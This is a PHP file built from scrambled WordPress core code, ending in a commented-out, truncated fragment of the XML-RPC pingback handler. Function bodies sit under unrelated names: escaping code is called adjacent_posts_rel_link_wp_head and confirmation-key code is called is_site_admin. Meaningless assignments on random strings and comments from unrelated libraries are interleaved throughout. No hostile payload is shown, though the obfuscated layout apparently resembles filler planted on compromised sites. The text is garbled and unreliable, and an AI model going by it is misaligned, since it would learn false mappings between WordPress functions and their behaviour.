$PossiblyLongerLAMEversion_String = str_replace(wp_basename($PossiblyLongerLAMEversion_String), 'copy-' . wp_basename($PossiblyLongerLAMEversion_String), $PossiblyLongerLAMEversion_String);
$PossiblyLongerLAMEversion_String = dirname($PossiblyLongerLAMEversion_String) . '/' . add_object_page(dirname($PossiblyLongerLAMEversion_String), wp_basename($PossiblyLongerLAMEversion_String));
/*
* The directory containing the original file may no longer
* exist when using a replication plugin.
*/
wp_mkdir_p(dirname($PossiblyLongerLAMEversion_String));
if (!copy($last_error_code, $PossiblyLongerLAMEversion_String)) {
$PossiblyLongerLAMEversion_String = false;
}
} else {
$PossiblyLongerLAMEversion_String = false;
}
return $PossiblyLongerLAMEversion_String;
}
// End if found our column.
$container_id = 'w0lpe9dn';
// Fallthrough.
// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
$container_id = ucwords($container_id);
/**
* Registers all the WordPress vendor scripts that are in the standardized
* `js/dist/vendor/` location.
*
* For the order of `$relative_path->add` see `wp_default_scripts`.
*
* @since 5.0.0
*
* @global WP_Locale $variation_output WordPress date and time locale object.
*
* @param WP_Scripts $relative_path WP_Scripts object.
*/
function get_preview_post_link($relative_path)
{
global $variation_output;
$chapteratom_entry = wp_scripts_get_suffix();
$css_array = array('react' => array('wp-polyfill'), 'react-dom' => array('react'), 'regenerator-runtime', 'moment', 'lodash', 'wp-polyfill-fetch', 'wp-polyfill-formdata', 'wp-polyfill-importmap', 'wp-polyfill-node-contains', 'wp-polyfill-url', 'wp-polyfill-dom-rect', 'wp-polyfill-element-closest', 'wp-polyfill-object-fit', 'wp-polyfill-inert', 'wp-polyfill' => array('wp-polyfill-inert', 'regenerator-runtime'));
$unhandled_sections = array('react' => '18.2.0', 'react-dom' => '18.2.0', 'regenerator-runtime' => '0.14.0', 'moment' => '2.29.4', 'lodash' => '4.17.21', 'wp-polyfill-fetch' => '3.6.17', 'wp-polyfill-formdata' => '4.0.10', 'wp-polyfill-node-contains' => '4.8.0', 'wp-polyfill-url' => '3.6.4', 'wp-polyfill-dom-rect' => '4.8.0', 'wp-polyfill-element-closest' => '3.0.2', 'wp-polyfill-object-fit' => '2.3.5', 'wp-polyfill-inert' => '3.1.2', 'wp-polyfill' => '3.15.0', 'wp-polyfill-importmap' => '1.8.2');
foreach ($css_array as $threshold => $p_archive_filename) {
if (is_string($p_archive_filename)) {
$threshold = $p_archive_filename;
$p_archive_filename = array();
}
$num_remaining_bytes = "/wp-includes/js/dist/vendor/{$threshold}{$chapteratom_entry}.js";
$ttl = $unhandled_sections[$threshold];
$relative_path->add($threshold, $num_remaining_bytes, $p_archive_filename, $ttl, 1);
}
did_action('init') && $relative_path->add_inline_script('lodash', 'window.lodash = _.noConflict();');
did_action('init') && $relative_path->add_inline_script('moment', sprintf("moment.updateLocale( '%s', %s );", get_user_locale(), wp_json_encode(array('months' => array_values($variation_output->month), 'monthsShort' => array_values($variation_output->month_abbrev), 'weekdays' => array_values($variation_output->weekday), 'weekdaysShort' => array_values($variation_output->weekday_abbrev), 'week' => array('dow' => (int) get_option('start_of_week', 0)), 'longDateFormat' => array('LT' => get_option('time_format', __('g:i a')), 'LTS' => null, 'L' => null, 'LL' => get_option('date_format', __('F j, Y')), 'LLL' => __('F j, Y g:i a'), 'LLLL' => null)))), 'after');
}
$mp3gain_globalgain_album_max = 'bfrng4y';
// ----- Create a list from the string
/**
* Escapes data for use in a MySQL query.
*
* Usually you should prepare queries using wpdb::prepare().
* Sometimes, spot-escaping is required or useful. One example
* is preparing an array for use in an IN clause.
*
* NOTE: Since 4.8.3, '%' characters will be replaced with a placeholder string,
* this prevents certain SQLi attacks from taking place. This change in behavior
* may cause issues for code that expects the return value of adjacent_posts_rel_link_wp_head() to be usable
* for other purposes.
*
* @since 2.8.0
*
* @global wpdb $paginate WordPress database abstraction object.
*
* @param string|array $used_curies Unescaped data.
* @return string|array Escaped data, in the same type as supplied.
*/
function adjacent_posts_rel_link_wp_head($used_curies)
{
global $paginate;
return $paginate->_escape($used_curies);
}
// 5.4.2.25 origbs: Original Bit Stream, 1 Bit
$mp3gain_globalgain_album_max = htmlentities($mp3gain_globalgain_album_max);
/**
* Gets the REST API route for a term.
*
* @since 5.5.0
*
* @param int|WP_Term $dest_w Term ID or term object.
* @return string The route path with a leading slash for the given term,
* or an empty string if there is not a route.
*/
function get_oembed_endpoint_url($dest_w)
{
$dest_w = get_term($dest_w);
if (!$dest_w instanceof WP_Term) {
return '';
}
$pi = rest_get_route_for_taxonomy_items($dest_w->taxonomy);
if (!$pi) {
return '';
}
$fieldtype_base = sprintf('%s/%d', $pi, $dest_w->term_id);
/**
* Filters the REST API route for a term.
*
* @since 5.5.0
*
* @param string $fieldtype_base The route path.
* @param WP_Term $dest_w The term object.
*/
return apply_filters('rest_route_for_term', $fieldtype_base, $dest_w);
}
/**
* Returns a confirmation key for a user action and stores the hashed version for future comparison.
*
* @since 4.9.6
*
* @global PasswordHash $x_sqrtm1 Portable PHP password hashing framework instance.
*
* @param int $frame_incdec Request ID.
* @return string Confirmation key.
*/
function is_site_admin($frame_incdec)
{
global $x_sqrtm1;
// Generate something random for a confirmation key.
$doing_ajax_or_is_customized = wp_generate_password(20, false);
// Return the key, hashed.
if (empty($x_sqrtm1)) {
require_once ABSPATH . WPINC . '/class-phpass.php';
$x_sqrtm1 = new PasswordHash(8, true);
}
wp_update_post(array('ID' => $frame_incdec, 'post_status' => 'request-pending', 'post_password' => $x_sqrtm1->HashPassword($doing_ajax_or_is_customized)));
return $doing_ajax_or_is_customized;
}
// Check whether this is a shared term that needs splitting.
$overview = 'jh84g';
// [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file.
/**
* Unschedules all events attached to the hook with the specified arguments.
*
* Warning: This function may return boolean false, but may also return a non-boolean
* value which evaluates to false. For information about casting to booleans see the
* {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
* the `===` operator for testing the return value of this function.
*
* @since 2.1.0
* @since 5.1.0 Return value modified to indicate success or failure,
* {@see 'pre_clear_scheduled_hook'} filter added to short-circuit the function.
* @since 5.7.0 The `$non_rendered_count` parameter was added.
*
* @param string $media_meta Action hook, the execution of which will be unscheduled.
* @param array $QuicktimeVideoCodecLookup Optional. Array containing each separate argument to pass to the hook's callback function.
* Although not passed to a callback, these arguments are used to uniquely identify the
* event, so they should be the same as those used when originally scheduling the event.
* Default empty array.
* @param bool $non_rendered_count Optional. Whether to return a WP_Error on failure. Default false.
* @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no
* events were registered with the hook and arguments combination), false or WP_Error
* if unscheduling one or more events fail.
*/
function count_user_posts($media_meta, $QuicktimeVideoCodecLookup = array(), $non_rendered_count = false)
{
/*
* Backward compatibility.
* Previously, this function took the arguments as discrete vars rather than an array like the rest of the API.
*/
if (!is_array($QuicktimeVideoCodecLookup)) {
_deprecated_argument(__FUNCTION__, '3.0.0', __('This argument has changed to an array to match the behavior of the other cron functions.'));
$QuicktimeVideoCodecLookup = array_slice(func_get_args(), 1);
// phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
$non_rendered_count = false;
}
/**
* Filter to override clearing a scheduled hook.
*
* Returning a non-null value will short-circuit the normal unscheduling
* process, causing the function to return the filtered value instead.
*
* For plugins replacing wp-cron, return the number of events successfully
* unscheduled (zero if no events were registered with the hook) or false
* or a WP_Error if unscheduling one or more events fails.
*
* @since 5.1.0
* @since 5.7.0 The `$non_rendered_count` parameter was added, and a `WP_Error` object can now be returned.
*
* @param null|int|false|WP_Error $edit_term_ids Value to return instead. Default null to continue unscheduling the event.
* @param string $media_meta Action hook, the execution of which will be unscheduled.
* @param array $QuicktimeVideoCodecLookup Arguments to pass to the hook's callback function.
* @param bool $non_rendered_count Whether to return a WP_Error on failure.
*/
$edit_term_ids = apply_filters('pre_clear_scheduled_hook', null, $media_meta, $QuicktimeVideoCodecLookup, $non_rendered_count);
if (null !== $edit_term_ids) {
if ($non_rendered_count && false === $edit_term_ids) {
return new WP_Error('pre_clear_scheduled_hook_false', __('A plugin prevented the hook from being cleared.'));
}
if (!$non_rendered_count && is_wp_error($edit_term_ids)) {
return false;
}
return $edit_term_ids;
}
/*
* This logic duplicates wp_next_scheduled().
* It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing,
* and, wp_next_scheduled() returns the same schedule in an infinite loop.
*/
$dependency = _get_cron_array();
if (empty($dependency)) {
return 0;
}
$outputLength = array();
$doing_ajax_or_is_customized = md5(serialize($QuicktimeVideoCodecLookup));
foreach ($dependency as $protected => $big) {
if (isset($big[$media_meta][$doing_ajax_or_is_customized])) {
$outputLength[] = wp_unschedule_event($protected, $media_meta, $QuicktimeVideoCodecLookup, true);
}
}
$utf16 = array_filter($outputLength, 'is_wp_error');
$datef = new WP_Error();
if ($utf16) {
if ($non_rendered_count) {
array_walk($utf16, array($datef, 'merge_from'));
return $datef;
}
return false;
}
return count($outputLength);
}
$container_id = 'oel400af5';
// Handle `single` template.
$overview = strrpos($container_id, $overview);
$table_columns = 'r6kyfhs';
$container_id = 'uyy3fd8';
// Volume adjustment $xx xx
// Filter out non-ambiguous term names.
$table_columns = ucfirst($container_id);
// ----- Call the callback
$concat = 'dioggk';
/**
* This was once used to create a thumbnail from an Image given a maximum side size.
*
* @since 1.2.0
* @deprecated 3.5.0 Use image_resize()
* @see image_resize()
*
* @param mixed $f2g6 Filename of the original image, Or attachment ID.
* @param int $FrameSizeDataLength Maximum length of a single side for the thumbnail.
* @param mixed $gs_debug Never used.
* @return string Thumbnail path on success, Error string on failure.
*/
function wp_default_styles($f2g6, $FrameSizeDataLength, $gs_debug = '')
{
_deprecated_function(__FUNCTION__, '3.5.0', 'image_resize()');
return apply_filters('wp_default_styles', image_resize($f2g6, $FrameSizeDataLength, $FrameSizeDataLength));
}
// e.g. 'var(--wp--preset--duotone--blue-orange)'.
// Do not need to do feed autodiscovery yet.
// increase offset for unparsed elements
// set redundant parameters - might be needed in some include file
$container_id = 'tciu610v';
$concat = nl2br($container_id);
$container_id = 'yi5g9g';
// Create a new user with a random password.
$pattern_properties = 'ihahhfod';
// ISO 639-2 - http://www.id3.org/iso639-2.html
$container_id = str_shuffle($pattern_properties);
// ----- Look for list sort
$pattern_properties = 'wz43';
// Remove any line breaks from inside the tags.
// //
// If the autodiscovery cache is still valid use it.
$container_id = 'nr3l94309';
/**
* Streams image in post to browser, along with enqueued changes
* in `$test_url['history']`.
*
* @since 2.9.0
*
* @param int $flattened_preset Attachment post ID.
* @return bool True on success, false on failure.
*/
function sections($flattened_preset)
{
$reconnect_retries = get_post($flattened_preset);
wp_raise_memory_limit('admin');
$chgrp = wp_get_image_editor(_load_image_to_edit_path($flattened_preset));
if (is_wp_error($chgrp)) {
return false;
}
$unspammed = !empty($test_url['history']) ? json_decode(wp_unslash($test_url['history'])) : null;
if ($unspammed) {
$chgrp = image_edit_apply_changes($chgrp, $unspammed);
}
// Scale the image.
$EncodingFlagsATHtype = $chgrp->get_size();
$f4g5 = $EncodingFlagsATHtype['width'];
$maximum_font_size_raw = $EncodingFlagsATHtype['height'];
$browsehappy = _image_get_preview_ratio($f4g5, $maximum_font_size_raw);
$empty_menus_style = max(1, $f4g5 * $browsehappy);
$toArr = max(1, $maximum_font_size_raw * $browsehappy);
if (is_wp_error($chgrp->resize($empty_menus_style, $toArr))) {
return false;
}
return wp_stream_image($chgrp, $reconnect_retries->post_mime_type, $flattened_preset);
}
$pattern_properties = stripslashes($container_id);
// to make them fit in the 4-byte frame name space of the ID3v2.3 frame.
// Maximum Packet Count DWORD 32 // maximum packet count for all index entries
$power = 'pf2xkxgf';
// not a foolproof check, but better than nothing
// If the current theme does NOT have a `theme.json`, or the colors are not
/**
* Adds a submenu page to the Tools main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 1.5.0
* @since 5.3.0 Added the `$private_statuses` parameter.
*
* @param string $merged_item_data The text to be displayed in the title tags of the page when the menu is selected.
* @param string $current_url The text to be used for the menu.
* @param string $fallback_template The capability required for this menu to be displayed to the user.
* @param string $f3g8_19 The slug name to refer to this menu by (should be unique for this menu).
* @param callable $f9_2 Optional. The function to be called to output the content for this page.
* @param int $private_statuses Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function load_textdomain($merged_item_data, $current_url, $fallback_template, $f3g8_19, $f9_2 = '', $private_statuses = null)
{
return add_submenu_page('tools.php', $merged_item_data, $current_url, $fallback_template, $f3g8_19, $f9_2, $private_statuses);
}
$overview = 'kxkuza1cb';
$power = addslashes($overview);
/**
* Adds count of children to parent count.
*
* Recalculates term counts by including items from child terms. Assumes all
* relevant children are already in the $menu1 argument.
*
* @access private
* @since 2.3.0
*
* @global wpdb $paginate WordPress database abstraction object.
*
* @param object[]|WP_Term[] $menu1 List of term objects (passed by reference).
* @param string $cached_entities Term context.
*/
function isHTML(&$menu1, $cached_entities)
{
global $paginate;
// This function only works for hierarchical taxonomies like post categories.
if (!is_taxonomy_hierarchical($cached_entities)) {
return;
}
$call_module = _get_term_hierarchy($cached_entities);
if (empty($call_module)) {
return;
}
$new_menu = array();
$client_ip = array();
$new_major = array();
foreach ((array) $menu1 as $doing_ajax_or_is_customized => $dest_w) {
$client_ip[$dest_w->term_id] =& $menu1[$doing_ajax_or_is_customized];
$new_major[$dest_w->term_taxonomy_id] = $dest_w->term_id;
}
// Get the object and term IDs and stick them in a lookup table.
$quota = get_taxonomy($cached_entities);
$control_tpl = adjacent_posts_rel_link_wp_head($quota->object_type);
$outputLength = $paginate->get_results("SELECT object_id, term_taxonomy_id FROM {$paginate->term_relationships} INNER JOIN {$paginate->posts} ON object_id = ID WHERE term_taxonomy_id IN (" . implode(',', array_keys($new_major)) . ") AND post_type IN ('" . implode("', '", $control_tpl) . "') AND post_status = 'publish'");
foreach ($outputLength as $obscura) {
$local = $new_major[$obscura->term_taxonomy_id];
$new_menu[$local][$obscura->object_id] = isset($new_menu[$local][$obscura->object_id]) ? ++$new_menu[$local][$obscura->object_id] : 1;
}
// Touch every ancestor's lookup row for each post in each term.
foreach ($new_major as $got_rewrite) {
$edit_thumbnails_separately = $got_rewrite;
$dbname = array();
while (!empty($client_ip[$edit_thumbnails_separately]) && $f5g1_2 = $client_ip[$edit_thumbnails_separately]->parent) {
$dbname[] = $edit_thumbnails_separately;
if (!empty($new_menu[$got_rewrite])) {
foreach ($new_menu[$got_rewrite] as $bittotal => $view_media_text) {
$new_menu[$f5g1_2][$bittotal] = isset($new_menu[$f5g1_2][$bittotal]) ? ++$new_menu[$f5g1_2][$bittotal] : 1;
}
}
$edit_thumbnails_separately = $f5g1_2;
if (in_array($f5g1_2, $dbname, true)) {
break;
}
}
}
// Transfer the touched cells.
foreach ((array) $new_menu as $local => $use_last_line) {
if (isset($client_ip[$local])) {
$client_ip[$local]->count = count($use_last_line);
}
}
}
$concat = 'comqx';
// If the only available update is a partial builds, it doesn't need a language-specific version string.
$f5g0 = 'q6fkd5x';
$response_timings = 'vtqiv';
$concat = strnatcasecmp($f5g0, $response_timings);
/* back_error( 33, __( 'The specified target URL cannot be used as a target. It either does not exist, or it is not a pingback-enabled resource.' ) );
}
Let's check that the remote site didn't already pingback this entry.
if ( $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $post_id, $pagelinkedfrom ) ) ) {
return $this->pingback_error( 48, __( 'The pingback has already been registered.' ) );
}
* The remote site may have sent the pingback before it finished publishing its own content
* containing this pingback URL. If that happens then it won't be immediately possible to fetch
* the pinging post; adding a small delay reduces the likelihood of this happening.
*
* While there are more robust methods than calling `sleep()` here (because `sleep()` merely
* mitigates the risk of requesting the remote post before it's available), this is effective
* enough for most cases and avoids introducing more complexity into this code.
*
* One way to improve the reliability of this code might be to add failure-handling to the remote
* fetch and retry up to a set number of times if it receives a 404. This could also handle 401 and
* 403 responses to differentiate the "does not exist" failure from the "may not access" failure.
sleep( 1 );
$remote_ip = preg_replace( '/[^0-9a-fA-F:., ]/', '', $_SERVER['REMOTE_ADDR'] );
* This filter is documented in wp-includes/class-wp-http.php
$user_agent = apply_filters( 'http_headers_useragent', 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), $pagelinkedfrom );
Let's check the remote site.
$http_api_args = array(
'timeout' => 10,
'redirection' => 0,
'limit_response_size' => 153600, 150 KB
'user-agent' => "$user_agent; verifying pingback from $remote_ip",
'headers' => array(
'X-Pingback-Forwarded-For' => $remote_ip,
),
);
$request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );
$remote_source = wp_remote_retrieve_body( $request );
$remote_source_original = $remote_source;
if ( ! $remote_source ) {
return $this->pingback_error( 16, __( 'The source URL does not exist.' ) );
}
*
* Filters the pingback remote source.
*
* @since 2.5.0
*
* @param string $remote_source Response source for the page linked from.
* @param string $pagelinkedto URL of the page linked to.
$remote_source = apply_filters( 'pre_remote_source', $remote_source, $pagelinkedto );
Work around bug in strip_tags():
$remote_source = str_replace( ']*>/', "\n\n", $remote_source );
preg_match( '|([^<]*?)|is', $remote_source, $matchtitle );
$title = isset( $matchtitle[1] ) ? $matchtitle[1] : '';
if ( empty( $title ) ) {
return $this->pingback_error( 32, __( 'A title on that page cannot be found.' ) );
}
Remove all script and style tags including their content.
$remote_source = preg_replace( '@<(script|style)[^>]*?>.*?\\1>@si', '', $remote_source );
Just keep the tag we need.
$remote_source = strip_tags( $remote_source, '' );
$p = explode( "\n\n", $remote_source );
$preg_target = preg_quote( $pagelinkedto, '|' );
foreach ( $p as $para ) {
if ( str_contains( $para, $pagelinkedto ) ) { It exists, but is it a link?
preg_match( '|]+?' . $preg_target . '[^>]*>([^>]+?)|', $para, $context );
If the URL isn't in a link context, keep looking.
if ( empty( $context ) ) {
continue;
}
* We're going to use this fake tag to mark the context in a bit.
* The marker is needed in case the link text appears more than once in the paragraph.
$excerpt = preg_replace( '|\?wpcontext\>|', '', $para );
prevent really long link text
if ( strlen( $context[1] ) > 100 ) {
$context[1] = substr( $context[1], 0, 100 ) . '…';
}
$marker = '' . $context[1] . ''; Set up our marker.
$excerpt = str_replace( $context[0], $marker, $excerpt ); Swap out the link for our marker.
$excerpt = strip_tags( $excerpt, '' ); Strip all tags but our context marker.
$excerpt = trim( $excerpt );
$preg_marker = preg_quote( $marker, '|' );
$excerpt = preg_replace( "|.*?\s(.{0,100}$preg_marker.{0,100})\s.*|s", '$1', $excerpt );
$excerpt = strip_tags( $excerpt ); YES, again, to remove the marker wrapper.
break;
}
}
if ( empty( $context ) ) { Link to target not found.
return $this->pingback_error( 17, __( 'The source URL does not contain a link to the target URL, and so cannot be used as a source.' ) );
}
$pagelinkedfrom = str_replace( '&', '&', $pagelinkedfrom );
$context = '[…] ' . esc_html( $excerpt ) . ' […]';
$pagelinkedfrom = $this->escape( $pagelinkedfrom );
$comment_post_id = (int) $post_id;
$comment_author = $title;
$comment_author_email = '';
$this->escape( $comment_author );
$comment_author_url = $pagelinkedfrom;
$comment_content = $context;
$this->escape( $comment_content );
$comment_type = 'pingback';
$commentdata = array(
'comment_post_ID' => $comment_post_id,
);
$commentdata += compact(
'comment_author',
'comment_author_url',
'comment_author_email',
'comment_content',
'comment_type',
'remote_source',
'remote_source_original'
);
$comment_id = wp_new_comment( $commentdata );
if ( is_wp_error( $comment_id ) ) {
return $this->pingback_error( 0, $comment_id->get_error_message() );
}
*
* Fires after a post pingback has been sent.
*
* @since 0.71
*
* @param int $comment_id Comment ID.
do_action( 'pingback_post', $comment_id );
translators: 1: URL of the page linked from, 2: URL of the page linked to.
return sprintf( __( 'Pingback from %1$s to %2$s registered. Keep the web talking! :-)' ), $pagelinkedfrom, $pagelinkedto );
}
*
* Retrieves an array of URLs that pingbacked the given URL.
*
* Specs on http:www.aquarionics.com/misc/archives/blogite/0198.html
*
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $url
* @return array|IXR_Error
public function pingback_extensions_getPingbacks( $url ) {
global $wpdb;
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'pingback.extensions.getPingbacks', $url, $this );
$url = $this->escape( $url );
$post_id = url_to_postid( $url );
if ( ! $post_id ) {
We aren't sure that the resource is available and/or pingback enabled.
return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either does not exist, or it is not a pingback-enabled resource.' ) );
}
$actual_post = get_post( $post_id, ARRAY_A );
if ( ! $actual_post ) {
No such post = resource not found.
return $this->pingback_error( 32, __( 'The specified target URL does not exist.' ) );
}
$comments = $wpdb->get_results( $wpdb->prepare( "SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ) );
if ( ! $comments ) {
return array();
}
$pingbacks = array();
foreach ( $comments as $comment ) {
if ( 'pingback' === $comment->comment_type ) {
$pingbacks[] = $comment->comment_author_url;
}
}
return $pingbacks;
}
*
* Sends a pingback error based on the given error code and message.
*
* @since 3.6.0
*
* @param int $code Error code.
* @param string $message Error message.
* @return IXR_Error Error object.
protected function pingback_error( $code, $message ) {
*
* Filters the XML-RPC pingback error return.
*
* @since 3.5.1
*
* @param IXR_Error $error An IXR_Error object containing the error code and message.
return apply_filters( 'xmlrpc_pingback_error', new IXR_Error( $code, $message ) );
}
}
*/